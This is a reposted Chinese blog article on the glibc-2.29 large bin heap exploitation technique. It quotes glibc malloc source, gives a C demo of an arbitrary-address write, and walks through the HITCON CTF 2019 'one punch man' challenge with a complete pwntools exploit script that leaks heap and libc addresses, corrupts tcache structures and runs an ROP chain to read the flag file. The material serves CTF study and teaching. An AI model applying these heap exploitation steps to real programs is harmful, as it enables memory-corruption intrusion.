最新消息:雨落星辰是一个专注网站SEO优化、网站SEO诊断、搜索引擎研究、网络营销推广、网站策划运营及站长类的自媒体原创博客

glibc

运维笔记admin9浏览0评论

glibc

glibc

glibc-2.29 large bin attack 原理

原创: 星盟安全团队 星盟安全

该方法并非笔者发现,而是阅读 balsn 的 writeup 时分析而得到的,这里介绍一下这种攻击方法。

unsorted bin attack
在介绍新的攻击技术之前,先来缅怀一下 unsorted bin attack , 由于 glibc-2.29 新上的保护措施,使得 unsorted bin attack 基本已经成为过去式。

unsorted bin attack的原理是利用 unsortedbin 在解链时,对 fd 指针的操作,直接的作用就是可以任意地址写入一个 main_arena 地址值,非常好用的攻击方法。虽然 glibc-2.29 不能使用 unsorted bin attack 了,但是 large bin attack 或许可以成为它的代替品。

large bin attack
glibc-2.29 的 large bin attack 和先前的并不完全一样,但是原理类似。
其主要发生在 large bin 的 nextsize 成环时,没有对其进行检查,所以只要存在 UAF 漏洞,就能修改 nextsize 指针进行任意地址写入 chunk 地址的操作。

漏洞主要发生在下列代码(来自 glibc-2.29/malloc/malloc.c:3841 ):

victim_index = largebin_index (size);bck =bin_at (av, victim_index);fwd =bck->fd;/* maintainlarge bins in sorted order */if (fwd !=bck){/* Orwith inuse bit to speed comparisons */size |=PREV_INUSE;/* if smaller than smallest, bypassloop below */assert(chunk_main_arena (bck->bk));if ((unsignedlong) (size)< (unsigned long)chunksize_nomask (bck->bk)){fwd= bck;bck = bck->bk;victim->fd_nextsize = fwd->fd;victim->bk_nextsize = fwd->fd->bk_nextsize; // onefwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize =victim;}else{assert (chunk_main_arena (fwd));while((unsigned long) size < chunksize_nomask (fwd)){fwd = fwd->fd_nextsize;assert(chunk_main_arena (fwd));}// but size must be differentif((unsigned long) size== (unsigned long)chunksize_nomask (fwd))/*Always insert in the second position.  */fwd = fwd->fd;else{victim->fd_nextsize = fwd;victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim; // two}bck = fwd->bk;}}elsevictim->fd_nextsize = victim->bk_nextsize = victim;

large bin 是以 victimindex 为单位进行 nextsize 之间的成环操作,每个 victimindex 的长度是 0x40,上面的代码是 unsorted bin 进行归位 操作时,将 本属于该环的 victim 插入到该环中。但是这里却没有unsorted bin 那样对指针进行检查。

由于 large bin 是双向链表,插入操作并不会对整个环进行检查,这里我们只需要劫持 其bk_nextsize 指针,那么在插入的时候,程序便会把该假的地址当成一个真的 chunk 从而进行双向链表插入操作,这样就会使得该要插入的 chunk 将会留下它的地址到我们 设置的任意地址。

其核心代码是victim->bk_nextsize = fwd->fd->bk_nextsize; // one或者victim->bk_nextsize->fd_nextsize = victim; // two,就是在这里完成了写操作,具体执行哪段代码还要取决与两个chunk 的size 比较。

这里提醒一点,两个chunk 的size不能相同,否则会执行下面程序流而导致不能实现我们的目的。


if ((unsigned long) size== (unsigned long)chunksize_nomask (fwd))/* Always insertin the second position.  */fwd = fwd->fd;

其次是 large bin 的 fdnextsize 需要设置为0,否则程序流会执行到下面的代码进行unlink 操作,那么就无法通过 unlink 对 large bin 的 bknextsize 和fd_nextsize 检查。
来自 glibc-2.29/malloc/malloc.c:4049

size = chunksize(victim);/*  We know the first chunk in this bin is bigenough to use. */assert ((unsignedlong) (size) >= (unsigned long) (nb));remainder_size =size - nb;/* unlink */unlink_chunk (av,victim);

样例代码

#include <stdio.h>
#include <stdlib.h>size_t buf[0x10];int main()
{size_t *ptr,*ptr2, *ptr3;setbuf(stdout, NULL);ptr = malloc(0x438);malloc(0x18);ptr2 = malloc(0x448);malloc(0x18);free(ptr);// put ptr intolarge binmalloc(0x600);free(ptr2);ptr[2] = 0;ptr[3] = (size_t)&buf[0];printf("buf[4]:0x%lx\n", buf[4]);ptr3 = malloc(0x68);printf("buf[4]:0x%lx\n", buf[4]);return 0;
}

buf[4]就相当于 fakechunk->fdnextsize 指针,指向该节点的上一个节点。

执行结果如下所示:

buf[4]: 0x0
buf[4]: 0x560075a246b0

例题 - HITCON CTF 2019 PWN - one punch man
文件链接:。
该程序主要的漏洞就是在delete时没有清理指针,导致UAF。

void delete()
{unsigned int v0; //[rsp+Ch] [rbp-4h]write_str("idx:");v0 = get_int();if ( v0 > 2 )error((__int64)"invalid");free((void*)heros[v0].calloc_ptr);
}

程序预置了后门函数,但是在tcache上有限制,必须要我们劫持tcache_perthread_struct才行,这里有两种思路,我自己的做法是劫持tcache_perthread_struct->entries,这里由于和本文章关系不大,这里我简要说下核心思路:利用tcache_perthread_struct->counts 伪造 size,然后利用 unlink 使得chunk overlap,然后控制其tcache_perthread_struct->entries。

第二种做法就是 balsn 战队的做法,很优秀的方法,核心思路就是利用large bin attack修改 tcache_perthread_struct->counts 来使用预置后门,然后用add 当中的缓冲区进行 ROP。
下面是 balsn 的脚本。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763r = process('./one_punch')binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:libc = ELF("./libc-2.29.so")log.success("libcload success")system_off =libc.symbols.systemlog.success("system_off= "+hex(system_off))
except:log.failure("libcnot found !")def name(index, name):r.recvuntil(">")r.sendline("1")r.recvuntil(":")r.sendline(str(index))r.recvuntil(":")r.send(name)passdef rename(index,name):r.recvuntil(">")r.sendline("2")r.recvuntil(":")r.sendline(str(index))r.recvuntil(":")r.send(name)passdef d(index):r.recvuntil(">")r.sendline("4")r.recvuntil(":")r.sendline(str(index))passdef show(index):r.recvuntil(">")r.sendline("3")r.recvuntil(":")r.sendline(str(index))def magic(data):r.recvuntil(">")r.sendline(str(0xc388))time.sleep(0.1)r.send(data)# if len(sys.argv) == 1:
#   r =process([binary, "0"],env={"LD_LIBRARY_PATH":"."})# else:
#   r = remote(host,port)if __name__ == '__main__':name(0,"A"*0x210)d(0)name(1,"A"*0x210)d(1)show(1)r.recvuntil("name: ")heap =u64(r.recv(6).ljust(8,"\x00")) - 0x260print("heap= {}".format(hex(heap)))for i in xrange(5):name(2,"A"*0x210)d(2)name(0,"A"*0x210)name(1,"A"*0x210)d(0)show(0)r.recvuntil("name: ")libc =u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0print("libc= {}".format(hex(libc)))d(1)rename(2,p64(libc+ 0x1e4c30))name(0,"D"*0x90)d(0)for i in xrange(7):name(0,"D"*0x80)d(0)for i in xrange(7):name(0,"D"*0x200)d(0)name(0,"D"*0x200)name(1,"A"*0x210)name(2,p64(0x21)*(0x90/8))rename(2,p64(0x21)*(0x90/8))d(2)name(2,p64(0x21)*(0x90/8))rename(2,p64(0x21)*(0x90/8))d(2)d(0)d(1)name(0,"A"*0x80)name(1,"A"*0x80)d(0)d(1)name(0,"A"*0x88+ p64(0x421) + "D"*0x180 )name(2,"A"*0x200)d(1)d(2)name(2,"A"*0x200)rename(0,"A"*0x88+ p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )d(0)d(2)// pause()name(0,"/home/ctf/flag\x00\x00"+ "A"*0x1f0)magic("A")add_rsp48 = libc+ 0x000000000008cfd6pop_rdi = libc + 0x0000000000026542pop_rsi = libc + 0x0000000000026f9epop_rdx = libc + 0x000000000012bda6pop_rax = libc + 0x0000000000047cf8syscall = libc + 0xcf6c5magic(p64(add_rsp48))name(0,p64(pop_rdi)+ p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) +p64(syscall) +p64(pop_rdi)+ p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(0) + p64(syscall) +p64(pop_rdi)+ p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax)+ p64(1) + p64(syscall))
r.interactive()

在上面的// pause()处暂停,查看其bin情况。

pwndbg> largebins
largebins
0x400: 0x56224269a4c0 —▸ 0x7f455f1dd090 (main_arena+1104)◂—0x56224269a4c0
pwndbg> x/6gx 0x56224269a4c0
0x56224269a4c0:   0x4141414141414141 0x0000000000000421
0x56224269a4d0:   0x00007f455f1dd090 0x00007f455f1dd090
0x56224269a4e0:   0x0000000000000000 0x0000562242698010
pwndbg>

这里构造好了 large bin attack,当进行 unsorted bin 归位时,便会修改tcache_perthread_struct->counts。
笔者是星盟安全团队成员之一,这里欢迎热爱网络安全的小伙伴们加入星盟安全:XHUwMDc4XHUwMDY5XHUwMDZlXHUwMDY3XHUwMDZkXHUwMDY1XHUwMDZlXHUwMDY3XHUwMDVmXHUwMDczXHUwMDY1XHUwMDYzXHUwMDQwXHUwMDMxXHUwMDM2XHUwMDMzXHUwMDJlXHUwMDYzXHUwMDZmXHUwMDZk。

——————————————————
更多资讯欢迎关注星盟安全公众号:

发布评论

评论列表(0)

  1. 暂无评论